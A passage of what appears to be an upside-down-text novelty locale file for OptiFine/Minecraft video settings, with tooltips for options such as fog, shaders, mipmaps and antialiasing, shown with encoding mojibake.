ɯnɯᴉxÉW + +options.framerateLimit.tooltip.6=ÇʇÉɹÇɯÉɹɟ xÉW +options.framerateLimit.tooltip.5=(0ᘔ '0Æ '09) ÇʇÉɹÇɯÉɹɟ ɹoʇᴉuoɯ oʇ Ê‡á´‰É¯á´‰êž - É”uÊŽSΛ +options.framerateLimit.tooltip.4=ÇêžqÉᴉɹÉÊŒ - ϛϛᘔ-Ï› +options.framerateLimit.tooltip.3=(ʇsÇʇsÉÉŸ) Ê‡á´‰É¯á´‰êž ou - pÇʇᴉɯᴉêžu∩ +options.framerateLimit.tooltip.2=ÉŸá´‰ uÇÊŒÇ SԀℲ Çɥʇ sÇsÉÇɹɔÇp Ê‡á´‰É¯á´‰êž ÇʇÉɹÇɯÉɹɟ Çɥ⟘ +options.framerateLimit.tooltip.1=Ë™pÇɥɔÉÇɹ ʇou sá´‰ ÇnêžÉÊŒ Ê‡á´‰É¯á´‰êž Çɥʇ +of.options.framerateLimit.vsync=É”uÊŽSΛ + +of.options.AO_LEVEL=êžÇÊŒÇꞀ áµ·uᴉʇɥᵷᴉꞀ ɥʇooɯS +of.options.AO_LEVEL.tooltip.4=êžÇÊŒÇêž áµ·uá´‰Ê‡É¥áµ·á´‰êž É¥Ê‡ooɯS +of.options.AO_LEVEL.tooltip.3=sÊopÉÉ¥s ou - ℲℲO +of.options.AO_LEVEL.tooltip.2=sÊopÉÉ¥s Ê‡É¥áµ·á´‰êž - %%0Ï› +of.options.AO_LEVEL.tooltip.1=sÊopÉÉ¥s ʞɹÉp - %%00⥠+ +options.viewBobbing.tooltip.2=˙ʇuÇɯÇÊŒoɯ ɔᴉʇsá´‰êžÉÇɹ ÇɹoW +options.viewBobbing.tooltip.1=Ë™sʇêžnsÇɹ ʇsÇq ɹoÉŸ ℲℲO oʇ ʇᴉ ʇÇs sdÉɯdᴉɯ áµ·uá´‰sn uÇÉ¥M + +options.guiScale.tooltip.6=ÇêžÉÉ”S I∩פ +options.guiScale.tooltip.5=Çzá´‰s êžÉɯᴉxÉɯ - oʇnⱯ +options.guiScale.tooltip.4=xÆ oʇ x⥠- ÇᵷɹÉꞀ 'êžÉɯɹoN 'êžêžÉɯS +options.guiScale.tooltip.3=sÊŽÉêždsá´‰p ʞ߈ uo ÇêžqÉêžá´‰ÉÊŒÉ - x0⥠oʇ x߈ +options.guiScale.tooltip.2=Ë™Çpoɔᴉu∩ É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” ʇou ÇÉ¹É (˙˙˙ xÏ› 'xÆ 'xâ¥) sÇnêžÉÊŒ ppO +options.guiScale.tooltip.1=˙ɹÇʇsÉÉŸ Çq ÊŽÉɯ I∩פ ɹÇêžêžÉɯs Ɐ + +options.vbo.tooltip.3=sʇɔÇɾqo ɹÇÉŸÉŸnq xÇʇɹÇΛ +options.vbo.tooltip.2=ÊŽêžêžÉnsn sá´‰ É¥É”á´‰É¥Ê êžÇpoɯ áµ·uᴉɹÇpuÇɹ ÇʌᴉʇÉuɹÇʇêžÉ uÉ sÇs∩ +options.vbo.tooltip.1=˙ᵷuᴉɹÇpuÇɹ ʇêžnÉÉŸÇp Çɥʇ uÉɥʇ (%%0â¥-Ï›) ɹÇʇsÉÉŸ +options.vbo=sOᗺΛ Çs∩ + +options.gamma.tooltip.6=Ë™sʇɔÇɾqo ɹÇʞɹÉp ÉŸo ssÇuʇɥᵷᴉɹq Çɥʇ sÇáµ·uÉɥƆ +options.gamma.tooltip.5=ssÇuʇɥᵷᴉɹq pɹÉpuÉʇs - ÊŽpooW +options.gamma.tooltip.4=ÇêžqÉᴉɹÉÊŒ - %%66-⥠+options.gamma.tooltip.3=sʇɔÇɾqo ɹÇʞɹÉp ɹoÉŸ ssÇuʇɥᵷᴉɹq ɯnɯᴉxÉɯ - ʇɥᵷᴉɹq +options.gamma.tooltip.2= ÉŸo ssÇuʇɥᵷᴉɹq Çɥʇ Çáµ·uÉɥɔ ʇou sÇop uoᴉʇdo sᴉɥ⟘ +options.gamma.tooltip.1=Ë™sʇɔÇɾqo ʞɔÉêžq ÊŽêžêžnÉŸ + +options.anaglyph.tooltip.4=É¥dÊŽêžáµ·ÉuⱯ pÆ +options.anaglyph.tooltip.3=sɹnoêžoÉ” ʇuÇɹÇÉŸÉŸá´‰p áµ·uá´‰sn ʇɔÇÉŸÉŸÇ pÆ É”á´‰doÉ”soÇɹÇʇs É sÇêžqÉuÆŽ +options.anaglyph.tooltip.2=Ë™ÇÊŽÇ É¥É”ÉÇ É¹oÉŸ +options.anaglyph.tooltip.1=˙ᵷuá´‰ÊÇᴉʌ ɹÇdoɹd ɹoÉŸ sÇssÉêžáµ· uÉÊŽÉ”-pÇɹ sÇɹᴉnbÇá´š + +options.attackIndicator.tooltip.6=ɹoʇÉɔᴉpuá´‰ ʞɔÉÊ‡Ê‡É Çɥʇ ÉŸo uoᴉʇᴉsod Çɥʇ sÇɹnbᴉɟuoƆ +options.attackIndicator.tooltip.5=ɹᴉÉÉ¥ssoɹɔ Çɥʇ ɹÇpun - ɹᴉÉÉ¥ssoɹƆ +options.attackIndicator.tooltip.4=ɹÉqʇoÉ¥ Çɥʇ oʇ ʇxÇu - ɹÉqʇoH +options.attackIndicator.tooltip.3=ɹoʇÉɔᴉpuá´‰ ʞɔÉÊ‡Ê‡É ou - ℲℲO +options.attackIndicator.tooltip.2=Çɥʇ ÉŸo ɹÇÊod ʞɔÉÊ‡Ê‡É Çɥʇ sÊoÉ¥s ɹoʇÉɔᴉpuá´‰ ʞɔÉÊ‡Ê‡É Çɥ⟘ +options.attackIndicator.tooltip.1=ɯÇʇᴉ pÇddá´‰nbÇ ÊŽêžÊ‡uÇɹɹnÉ” + +of.options.ALTERNATE_BLOCKS=sʞɔoêžq ÇʇÉuɹÇʇêžâ±¯ +of.options.ALTERNATE_BLOCKS.tooltip.3=sʞɔoêžq ÇʇÉuɹÇʇêžâ±¯ +of.options.ALTERNATE_BLOCKS.tooltip.2=Ë™sʞɔoêžq Çɯos ɹoÉŸ sêžÇpoɯ ʞɔoêžq ÇʌᴉʇÉuɹÇʇêžÉ sÇs∩ +of.options.ALTERNATE_BLOCKS.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ pÇʇɔÇêžÇs Çɥʇ uo spuÇdÇá—¡ + +of.options.FOG_FANCY=áµ·oℲ +of.options.FOG_FANCY.tooltip.6=Çdʎʇ áµ·oℲ +of.options.FOG_FANCY.tooltip.5=áµ·oÉŸ ɹÇʇsÉÉŸ - ʇsÉℲ +of.options.FOG_FANCY.tooltip.4=ɹÇʇʇÇq sÊžooêž 'áµ·oÉŸ ɹÇÊoêžs - ÊŽÉ”uÉℲ +of.options.FOG_FANCY.tooltip.3=ʇsÇʇsÉÉŸ 'áµ·oÉŸ ou - ℲℲO +of.options.FOG_FANCY.tooltip.2= Çɥʇ ÊŽq pÇʇɹoddns sá´‰ ʇᴉ ÉŸá´‰ ÊŽêžuo ÇêžqÉêžá´‰ÉÊŒÉ sá´‰ áµ·oÉŸ ÊŽÉ”uÉÉŸ Çɥ⟘ +of.options.FOG_FANCY.tooltip.1=Ë™pɹÉÉ” ɔᴉɥdÉɹᵷ + +of.options.FOG_START=ʇɹÉʇS áµ·oℲ +of.options.FOG_START.tooltip.4=ʇɹÉʇs áµ·oℲ +of.options.FOG_START.tooltip.3=ɹÇÊŽÉêžd Çɥʇ ɹÉÇu sʇɹÉʇs áµ·oÉŸ Çɥʇ - ᘔ˙0 +of.options.FOG_START.tooltip.2=ɹÇÊŽÉêžd Çɥʇ ɯoɹɟ ɹÉÉŸ sʇɹÉʇs áµ·oÉŸ Çɥʇ - 8Ë™0 +of.options.FOG_START.tooltip.1=Ë™ÇÉ”uÉɯɹoɟɹÇd Çɥʇ ʇɔÇÉŸÉŸÉ Ê‡ou sÇop ÊŽêžêžÉnsn uoᴉʇdo sᴉɥ⟘ + +of.options.CHUNK_LOADING=áµ·uá´‰pÉoꞀ ÊžunɥƆ +of.options.CHUNK_LOADING.tooltip.8=áµ·uá´‰pÉoꞀ ÊžunɥƆ +of.options.CHUNK_LOADING.tooltip.7=sÊžunɥɔ áµ·uá´‰pÉoêž uÇÉ¥Ê SԀℲ ÇêžqÉʇsun - ʇêžnÉÉŸÇp +of.options.CHUNK_LOADING.tooltip.6=SԀℲ ÇêžqÉʇs - ɥʇooɯS +of.options.CHUNK_LOADING.tooltip.5=áµ·uá´‰pÉoêž pêžÉ¹oÊ É¹ÇʇsÉÉŸ xÆ 'SԀℲ ÇêžqÉʇs - ÇɹoƆ-ᴉʇêžnW +of.options.CHUNK_LOADING.tooltip.4= puÉ áµ·uᴉɹÇʇʇnʇs Çɥʇ ÇÊŒoɯÇɹ ÇɹoƆ-ᴉʇêžnW puÉ É¥Ê‡ooɯS +of.options.CHUNK_LOADING.tooltip.3=˙ᵷuá´‰pÉoêž Êžunɥɔ ÊŽq pÇsnÉÉ” sÇzÇÇɹɟ +of.options.CHUNK_LOADING.tooltip.2=puÉ áµ·uá´‰pÉoêž pêžÉ¹oÊ Çɥʇ xÆ dn pÇÇds uÉÉ” ÇɹoƆ-ᴉʇêžnW +of.options.CHUNK_LOADING.tooltip.1=Ë™ÇɹoÉ” ∩ԀƆ puoÉ”Çs É áµ·uá´‰sn ÊŽq SԀℲ ÇsÉÇɹɔuá´‰ +of.options.chunkLoading.smooth=ɥʇooɯS +of.options.chunkLoading.multiCore=ÇɹoƆ-ᴉʇêžnW + +of.options.shaders=˙˙˙sɹÇpÉÉ¥S +of.options.shadersTitle=sɹÇpÉÉ¥S + +of.options.shaders.packNone=ℲℲO +of.options.shaders.packDefault=(êžÉuɹÇʇuá´‰) + +of.options.shaders.ANTIALIASING=áµ·uá´‰sÉá´‰êžÉᴉʇuⱯ +of.options.shaders.ANTIALIASING.tooltip.7=áµ·uá´‰sÉá´‰êžÉᴉʇuⱯ +of.options.shaders.ANTIALIASING.tooltip.6=(ɹÇʇsÉÉŸ) áµ·uá´‰sÉá´‰êžÉᴉʇuÉ ou (ʇêžnÉÉŸÇp) - ℲℲO +of.options.shaders.ANTIALIASING.tooltip.5=(ɹÇÊoêžs) sÇáµ·pÇ puÉ sÇuá´‰êž pÇsÉá´‰êžÉᴉʇuÉ - x߈ 'xᘔ ⱯⱯXℲ +of.options.shaders.ANTIALIASING.tooltip.4=sɥʇooɯs É¥É”á´‰É¥Ê Ê‡É”ÇÉŸÉŸÇ áµ·uá´‰ssÇÉ”oɹd-ʇsod É sá´‰ ⱯⱯXℲ +of.options.shaders.ANTIALIASING.tooltip.3=Ë™suoᴉʇᴉsuÉɹʇ ɹoêžoÉ” dɹÉÉ¥s puÉ sÇuá´‰êž pÇáµ·áµ·Éɾ +of.options.shaders.ANTIALIASING.tooltip.2=áµ·uá´‰sÉá´‰êžÉᴉʇuÉ êžÉuoᴉʇᴉpÉɹʇ uÉɥʇ ɹÇʇsÉÉŸ sá´‰ ʇI +of.options.shaders.ANTIALIASING.tooltip.1= ˙ɹÇpuÇɹ ʇsÉℲ puÉ sɹÇpÉÉ¥s É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” sá´‰ puÉ + +of.options.shaders.NORMAL_MAP=dÉW êžÉɯɹoN +of.options.shaders.NORMAL_MAP.tooltip.7=dÉW êžÉɯɹoN +of.options.shaders.NORMAL_MAP.tooltip.6= sdÉɯ êžÉɯɹou ÇêžqÉuÇ (ʇêžnÉÉŸÇp) - NO +of.options.shaders.NORMAL_MAP.tooltip.5=sdÉɯ êžÉɯɹou ÇêžqÉsá´‰p - ℲℲO +of.options.shaders.NORMAL_MAP.tooltip.4=ʞɔÉd ɹÇpÉÉ¥s Çɥʇ ÊŽq pÇsn Çq uÉÉ” sdÉɯ êžÉɯɹoN +of.options.shaders.NORMAL_MAP.tooltip.3=Ë™sÇÉ”Éɟɹns êžÇpoɯ ʇÉêžÉŸ uo ʎɹʇÇɯoÇáµ· pÆ ÇʇÉêžnɯᴉs oʇ +of.options.shaders.NORMAL_MAP.tooltip.2=Çɥʇ ÊŽq pÇá´‰êžddns ÇÉ¹É sÇɹnʇxÇʇ dÉɯ êžÉɯɹou Çɥ⟘ +of.options.shaders.NORMAL_MAP.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ ʇuÇɹɹnÉ” + +of.options.shaders.SPECULAR_MAP=dÉW ɹÉêžnÉ”ÇdS +of.options.shaders.SPECULAR_MAP.tooltip.7=dÉW ɹÉêžnÉ”ÇdS +of.options.shaders.SPECULAR_MAP.tooltip.6=sdÉɯ ɹÉêžnÉ”Çds ÇêžqÉuÇ (ʇêžnÉÉŸÇp) - NO +of.options.shaders.SPECULAR_MAP.tooltip.5=sdÉɯ ɹÉêžnÉ”Çds ÇêžqÉsá´‰p - ℲℲO +of.options.shaders.SPECULAR_MAP.tooltip.4=ʞɔÉd ɹÇpÉÉ¥s Çɥʇ ÊŽq pÇsn Çq uÉÉ” sdÉɯ ɹÉêžnÉ”ÇdS +of.options.shaders.SPECULAR_MAP.tooltip.3=Ë™sʇɔÇÉŸÉŸÇ uoᴉʇɔÇêžÉŸÇɹ êžÉᴉɔÇds ÇʇÉêžnɯᴉs oʇ +of.options.shaders.SPECULAR_MAP.tooltip.2=Çɥʇ ÊŽq pÇá´‰êžddns ÇÉ¹É sÇɹnʇxÇʇ dÉɯ ɹÉêžnÉ”Çds Çɥ⟘ +of.options.shaders.SPECULAR_MAP.tooltip.1=˙ʞɔÉd ÇɔɹnosÇɹ ʇuÇɹɹnÉ” + +of.options.shaders.RENDER_RES_MUL=ʎʇᴉêžÉnQ ɹÇpuÇá´š +of.options.shaders.RENDER_RES_MUL.tooltip.8=ʎʇᴉêžÉnQ ɹÇpuÇá´š +of.options.shaders.RENDER_RES_MUL.tooltip.7=(ʇsÇʇsÉÉŸ) Êoêž - xϛ˙0 +of.options.shaders.RENDER_RES_MUL.tooltip.6=(ʇêžnÉÉŸÇp) pɹÉpuÉʇs - x⥠+of.options.shaders.RENDER_RES_MUL.tooltip.5=(ʇsÇÊoêžs) ɥᵷᴉɥ - xᘔ +of.options.shaders.RENDER_RES_MUL.tooltip.4= ÇɹnʇxÇʇ Çɥʇ ÉŸo Çzá´‰s Çɥʇ sêžoɹʇuoÉ” ʎʇᴉêžÉnb ɹÇpuÇá´š +of.options.shaders.RENDER_RES_MUL.tooltip.3=Ë™oʇ áµ·uᴉɹÇpuÇɹ sá´‰ ʞɔÉd ɹÇpÉÉ¥s Çɥʇ ʇÉɥʇ +of.options.shaders.RENDER_RES_MUL.tooltip.2=Ë™sÊŽÉêždsá´‰p ʞ߈ É¥Ê‡á´‰Ê êžnÉŸÇsn Çq uÉÉ” sÇnêžÉÊŒ ɹÇÊoꞀ +of.options.shaders.RENDER_RES_MUL.tooltip.1=˙ɹÇʇêžá´‰ÉŸ áµ·uá´‰sÉá´‰êžÉᴉʇuÉ uÉ sÉ ÊžÉ¹oÊ sÇnêžÉÊŒ ɹÇɥᵷᴉH + +of.options.shaders.SHADOW_RES_MUL=ʎʇᴉêžÉnQ ÊopÉÉ¥S +of.options.shaders.SHADOW_RES_MUL.tooltip.8=ʎʇᴉêžÉnQ ÊopÉÉ¥S +of.options.shaders.SHADOW_RES_MUL.tooltip.7=(ʇsÇʇsÉÉŸ) Êoêž - xϛ˙0 +of.options.shaders.SHADOW_RES_MUL.tooltip.6=(ʇêžnÉÉŸÇp) pɹÉpuÉʇs - x⥠+of.options.shaders.SHADOW_RES_MUL.tooltip.5=(ʇsÇÊoêžs) ɥᵷᴉɥ - xᘔ +of.options.shaders.SHADOW_RES_MUL.tooltip.4=dÉɯ ÊopÉÉ¥s Çɥʇ ÉŸo Çzá´‰s Çɥʇ sêžoɹʇuoÉ” ʎʇᴉêžÉnb ÊopÉÉ¥S +of.options.shaders.SHADOW_RES_MUL.tooltip.3=˙ʞɔÉd ɹÇpÉÉ¥s Çɥʇ ÊŽq pÇsn ÇɹnʇxÇʇ +of.options.shaders.SHADOW_RES_MUL.tooltip.2= sÇnêžÉÊŒ ɹÇÊoꞀ +of.options.shaders.SHADOW_RES_MUL.tooltip.1= sÇnêžÉÊŒ ɹÇɥᵷᴉH + +of.options.shaders.HAND_DEPTH_MUL=ɥʇdÇp puÉH +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=ɥʇdÇp puÉH +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=ÉɹÇɯÉÉ” Çɥʇ oʇ ɹÉÇu puÉÉ¥ - xϛ˙0 +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=(ʇêžnÉÉŸÇp) - x⥠+of.options.shaders.HAND_DEPTH_MUL.tooltip.5=ÉɹÇɯÉÉ” Çɥʇ ɯoɹɟ ɹÉÉŸ puÉÉ¥ - xᘔ +of.options.shaders.HAND_DEPTH_MUL.tooltip.4=ÇÉ¹É sʇɔÇɾqo pêžÇÉ¥puÉÉ¥ Çɥʇ ɹÉÉŸ ÊoÉ¥ sêžoɹʇuoÉ” ɥʇdÇp puÉH +of.options.shaders.HAND_DEPTH_MUL.tooltip.3=Ë™ÉɹÇɯÉÉ” Çɥʇ ɯoɹɟ +of.options.shaders.HAND_DEPTH_MUL.tooltip.2=Çáµ·uÉɥɔ pêžnoÉ¥s sᴉɥʇ ɹnêžq ɥʇdÇp áµ·uá´‰sn sʞɔÉd ɹÇpÉÉ¥s ɹoℲ +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Ë™sʇɔÇɾqo pêžÇÉ¥puÉÉ¥ ÉŸo áµ·uᴉɹɹnêžq Çɥʇ + +of.options.shaders.CLOUD_SHADOW=ÊopÉÉ¥S pnoêžÆ† + +of.options.shaders.OLD_HAND_LIGHT=ʇɥᵷᴉꞀ puÉH pêžO +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=ʇɥᵷᴉꞀ puÉH pêžO +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=ʞɔÉd ɹÇpÉÉ¥s Çɥʇ ÊŽq pÇêžêžoɹʇuoÉ” - ʇêžnÉÉŸÇp +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=ʇɥᵷᴉêžpuÉÉ¥ pêžo Çsn - NO +of.options.shaders.OLD_HAND_LIGHT.tooltip.4=ʇɥᵷᴉêžpuÉÉ¥ ÊÇu Çsn - ℲℲO +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= ÊŽêžuo É¥É”á´‰É¥Ê sʞɔÉd ɹÇpÉÉ¥s sÊoêžêžÉ Ê‡É¥áµ·á´‰êž puÉÉ¥ pêžO +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= puÉÉ¥ uá´‰Éɯ Çɥʇ uá´‰ sɯÇʇᴉ áµ·uá´‰Ê‡Ê‡á´‰É¯Ç Ê‡É¥áµ·á´‰êž Çsá´‰uáµ·oÉ”Çɹ +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Ë™puÉÉ¥-ÉŸÉŸo Çɥʇ uá´‰ sɯÇʇᴉ É¥Ê‡á´‰Ê ÊžÉ¹oÊ osêžÉ oʇ + +of.options.shaders.OLD_LIGHTING=áµ·uᴉʇɥᵷᴉꞀ pêžO +of.options.shaders.OLD_LIGHTING.tooltip.8=áµ·uᴉʇɥᵷᴉꞀ pêžO +of.options.shaders.OLD_LIGHTING.tooltip.7=ʞɔÉd ɹÇpÉÉ¥s Çɥʇ ÊŽq pÇêžêžoɹʇuoÉ” - ʇêžnÉÉŸÇp +of.options.shaders.OLD_LIGHTING.tooltip.6=áµ·uá´‰Ê‡É¥áµ·á´‰êž pêžo Çsn - NO +of.options.shaders.OLD_LIGHTING.tooltip.5=áµ·uá´‰Ê‡É¥áµ·á´‰êž pêžo Çsn ʇou op - ℲℲO +of.options.shaders.OLD_LIGHTING.tooltip.4= pÇá´‰êžddÉ áµ·uá´‰Ê‡É¥áµ·á´‰êž pÇxᴉɟ Çɥʇ sêžoɹʇuoÉ” áµ·uá´‰Ê‡É¥áµ·á´‰êž pêžO +of.options.shaders.OLD_LIGHTING.tooltip.3= Ë™sÇpá´‰s ʞɔoêžq Çɥʇ oʇ Éêžêžá´‰uÉÊŒ ÊŽq +of.options.shaders.OLD_LIGHTING.tooltip.2= Çpᴉʌoɹd ÊŽêžêžÉnsn sÊopÉÉ¥s Çsn É¥É”á´‰É¥Ê sʞɔÉd ɹÇpÉÉ¥S +of.options.shaders.OLD_LIGHTING.tooltip.1=Ë™uoᴉʇᴉsod uns Çɥʇ uo áµ·uá´‰puÇdÇp áµ·uá´‰Ê‡É¥áµ·á´‰êž É¹ÇʇʇÇq ɥɔnɯ + +of.options.shaders.DOWNLOAD=sɹÇpÉÉ¥S pÉoêžuÊoá—¡ +of.options.shaders.DOWNLOAD.tooltip.5=sɹÇpÉÉ¥S pÉoêžuÊoá—¡ +of.options.shaders.DOWNLOAD.tooltip.4= +of.options.shaders.DOWNLOAD.tooltip.3=˙ɹÇsÊoɹq É uá´‰ Çáµ·Éd sʞɔÉd ɹÇpÉÉ¥s Çɥʇ suÇdO +of.options.shaders.DOWNLOAD.tooltip.2=,,ɹÇpêžoℲ sɹÇpÉÉ¥S,, Çɥʇ uá´‰ sʞɔÉd ɹÇpÉÉ¥s pÇpÉoêžuÊop Çɥʇ ʇnÔ€ +of.options.shaders.DOWNLOAD.tooltip.1=Ë™sɹÇpÉÉ¥s pÇêžêžÉʇsuá´‰ ÉŸo ʇsá´‰êž Çɥʇ uá´‰ ɹÉÇddÉ êžêžá´‰Ê ÊŽÇɥʇ puÉ + +of.options.shaders.SHADER_PACK=ʞɔÉÔ€ ɹÇpÉÉ¥S + +of.options.shaders.shadersFolder=ɹÇpêžoℲ sɹÇpÉÉ¥S +of.options.shaders.shaderOptions=˙˙˙suoᴉʇdo ɹÇpÉÉ¥S + +of.options.shaderOptionsTitle=suoᴉʇdo ɹÇpÉÉ¥S + +of.options.quality=˙˙˙ʎʇᴉêžÉnQ +of.options.qualityTitle=sáµ·uᴉʇʇÇS ʎʇᴉêžÉnQ + +of.options.details=˙˙˙sêžá´‰ÉʇÇá—¡ +of.options.detailsTitle=sáµ·uᴉʇʇÇS êžá´‰ÉʇÇá—¡ + +of.options.performance=˙˙˙ÇÉ”uÉɯɹoɟɹÇÔ€ +of.options.performanceTitle=sáµ·uᴉʇʇÇS ÇÉ”uÉɯɹoɟɹÇÔ€ + +of.options.animations=˙˙˙suoᴉʇÉɯᴉuⱯ +of.options.animationsTitle=sáµ·uᴉʇʇÇS uoᴉʇÉɯᴉuⱯ + +of.options.other=˙˙˙ɹÇɥʇO +of.options.otherTitle=sáµ·uᴉʇʇÇS ɹÇɥʇO + +of.options.other.reset=˙˙˙sáµ·uᴉʇʇÇS oÇpᴉΛ ʇÇsÇá´š + +of.shaders.profile=Çêžá´‰ÉŸoɹԀ + +# Quality + +of.options.mipmap.bilinear=ɹÉÇuá´‰êžá´‰á—º +of.options.mipmap.linear=ɹÉÇuᴉꞀ +of.options.mipmap.nearest=ʇsÇɹÉÇN +of.options.mipmap.trilinear=ɹÉÇuá´‰êžá´‰É¹âŸ˜ + +options.mipmapLevels.tooltip.6=ɹÇʇʇÇq Êžooêž sʇɔÇɾqo ʇuÉʇsá´‰p sÇÊžÉɯ É¥É”á´‰É¥Ê Ê‡É”ÇÉŸÉŸÇ êžÉnsᴉΛ +options.mipmapLevels.tooltip.5=sêžá´‰ÉʇÇp ÇɹnʇxÇʇ Çɥʇ áµ·uᴉɥʇooɯs ÊŽq +options.mipmapLevels.tooltip.4=áµ·uᴉɥʇooɯs ou - ℲℲO +options.mipmapLevels.tooltip.3=áµ·uᴉɥʇooɯs ɯnɯᴉuᴉɯ - ⥠+options.mipmapLevels.tooltip.2=áµ·uᴉɥʇooɯs ɯnɯᴉxÉɯ - ɯnɯᴉxÉW +options.mipmapLevels.tooltip.1=Ë™ÇÉ”uÉɯɹoɟɹÇd Çɥʇ ʇɔÇÉŸÉŸÉ Ê‡ou sÇop ÊŽêžêžÉnsn uoᴉʇdo sᴉɥ⟘ + +of.options.MIPMAP_TYPE=Çdʎ⟘ dÉɯdá´‰W +of.options.MIPMAP_TYPE.tooltip.6=ɹÇʇʇÇq Êžooêž sʇɔÇɾqo ʇuÉʇsá´‰p sÇÊžÉɯ É¥É”á´‰É¥Ê Ê‡É”ÇÉŸÉŸÇ êžÉnsᴉΛ +of.options.MIPMAP_TYPE.tooltip.5=sêžá´‰ÉʇÇp ÇɹnʇxÇʇ Çɥʇ áµ·uᴉɥʇooɯs ÊŽq +of.options.MIPMAP_TYPE.tooltip.4=(ʇsÇʇsÉÉŸ) áµ·uᴉɥʇooɯs ɥᵷnoɹ - ʇsÇɹÉÇN +of.options.MIPMAP_TYPE.tooltip.3=áµ·uᴉɥʇooɯs êžÉɯɹou - ɹÉÇuᴉꞀ +of.options.MIPMAP_TYPE.tooltip.2=áµ·uᴉɥʇooɯs Çuᴉɟ - ɹÉÇuá´‰êžá´‰q +of.options.MIPMAP_TYPE.tooltip.1=(ʇsÇÊoêžs) áµ·uᴉɥʇooɯs ʇsÇuᴉɟ - ɹÉÇuá´‰êžá´‰É¹âŸ˜ + + +of.options.AA_LEVEL=áµ·uá´‰sÉá´‰êžÉᴉʇuⱯ +of.options.AA_LEVEL.tooltip.8=áµ·uá´‰sÉá´‰êžÉᴉʇuⱯ +of.options.AA_LEVEL.tooltip.7=(ɹÇʇsÉÉŸ) áµ·uá´‰sÉá´‰êžÉᴉʇuÉ ou (ʇêžnÉÉŸÇp) - ℲℲO +of.options.AA_LEVEL.tooltip.6=(ɹÇÊoêžs) sÇáµ·pÇ puÉ sÇuá´‰êž pÇsÉá´‰êžÉᴉʇuÉ - 9â¥-ᘔ +of.options.AA_LEVEL.tooltip.5= puÉ sÇuá´‰êž pÇáµ·áµ·Éɾ sɥʇooɯs áµ·uá´‰sÉá´‰êžÉᴉʇuⱯ Çɥ⟘ +of.options.AA_LEVEL.tooltip.4=Ë™suoᴉʇᴉsuÉɹʇ ɹnoêžoÉ” dɹÉÉ¥s +of.options.AA_LEVEL.tooltip.3=Ë™SԀℲ Çɥʇ ÇsÉÇɹɔÇp ÊŽêžêžÉᴉʇuÉʇsqns ÊŽÉɯ ʇᴉ pÇêžqÉuÇ uÇÉ¥M +of.options.AA_LEVEL.tooltip.2=Ë™spɹÉÉ” sɔᴉɥdÉɹᵷ êžêžÉ ÊŽq pÇʇɹoddns ÇÉ¹É sêžÇÊŒÇêž êžêžÉ ʇoN +of.options.AA_LEVEL.tooltip.1=¡⟘ɹⱯ⟘SƎɹ É É¹ÇÊ‡ÉŸÉ ÇʌᴉʇɔÇÉŸÉŸÆŽ + +of.options.AF_LEVEL=áµ·uᴉɹÇʇêžá´‰â„² ɔᴉdoɹʇosá´‰uⱯ +of.options.AF_LEVEL.tooltip.6=áµ·uᴉɹÇʇêžá´‰â„² ɔᴉdoɹʇosá´‰uⱯ +of.options.AF_LEVEL.tooltip.5=(ɹÇʇsÉÉŸ) êžá´‰ÉʇÇp ÇɹnʇxÇʇ pɹÉpuÉʇs (ʇêžnÉÉŸÇp) - ℲℲO +of.options.AF_LEVEL.tooltip.4=(ɹÇÊoêžs) sÇɹnʇxÇʇ pÇddÉɯdᴉɯ uá´‰ sêžá´‰ÉʇÇp ɹÇuᴉɟ - 9â¥-ᘔ +of.options.AF_LEVEL.tooltip.3=uá´‰ sêžá´‰ÉʇÇp sÇɹoʇsÇɹ áµ·uᴉɹÇʇêžá´‰â„² ɔᴉdoɹʇosá´‰uⱯ Çɥ⟘ +of.options.AF_LEVEL.tooltip.2=Ë™sÇɹnʇxÇʇ pÇddÉɯdᴉɯ +of.options.AF_LEVEL.tooltip.1=Ë™SԀℲ Çɥʇ ÇsÉÇɹɔÇp ÊŽêžêžÉᴉʇuÉʇsqns ÊŽÉɯ ʇᴉ pÇêžqÉuÇ uÇÉ¥M + +of.options.CLEAR_WATER=ɹÇʇÉM ɹÉÇêžÆ† +of.options.CLEAR_WATER.tooltip.3=ɹÇʇÉM ɹÉÇêžÆ† +of.options.CLEAR_WATER.tooltip.2=ɹÇʇÉÊ Ê‡uÇɹÉdsuÉɹʇ 'ɹÉÇêžÉ” - NO +of.options.CLEAR_WATER.tooltip.1=ɹÇʇÉÊ Ê‡êžnÉÉŸÇp - ℲℲO + +of.options.RANDOM_ENTITIES=sÇᴉʇᴉʇuÆŽ ɯopuÉá´š +of.options.RANDOM_ENTITIES.tooltip.5=sÇᴉʇᴉʇuÆŽ ɯopuÉá´š +of.options.RANDOM_ENTITIES.tooltip.4=ɹÇʇsÉÉŸ 'sÇᴉʇᴉʇuÇ É¯opuÉɹ ou - ℲℲO +of.options.RANDOM_ENTITIES.tooltip.3=ɹÇÊoêžs 'sÇᴉʇᴉʇuÇ É¯opuÉɹ - NO +of.options.RANDOM_ENTITIES.tooltip.2=Ë™sÇᴉʇᴉʇuÇ ÇɯÉáµ· Çɥʇ ɹoÉŸ sÇɹnʇxÇʇ ɯopuÉɹ sÇsn sÇᴉʇᴉʇuÇ É¯opuÉá´š +of.options.RANDOM_ENTITIES.tooltip.1=Ë™sÇɹnʇxÇʇ ʎʇᴉʇuÇ Çêždᴉʇêžnɯ sÉÉ¥ É¥É”á´‰É¥Ê ÊžÉ”Éd ÇɔɹnosÇɹ É spÇÇu ʇI + +of.options.BETTER_GRASS=ssÉɹפ ɹÇʇʇÇá—º +of.options.BETTER_GRASS.tooltip.4=ssÉɹפ ɹÇʇʇÇá—º +of.options.BETTER_GRASS.tooltip.3=ʇsÇʇsÉÉŸ 'ÇɹnʇxÇʇ ssÉɹᵷ Çpá´‰s ʇêžnÉÉŸÇp - ℲℲO +of.options.BETTER_GRASS.tooltip.2=ɹÇÊoêžs 'ÇɹnʇxÇʇ ssÉɹᵷ 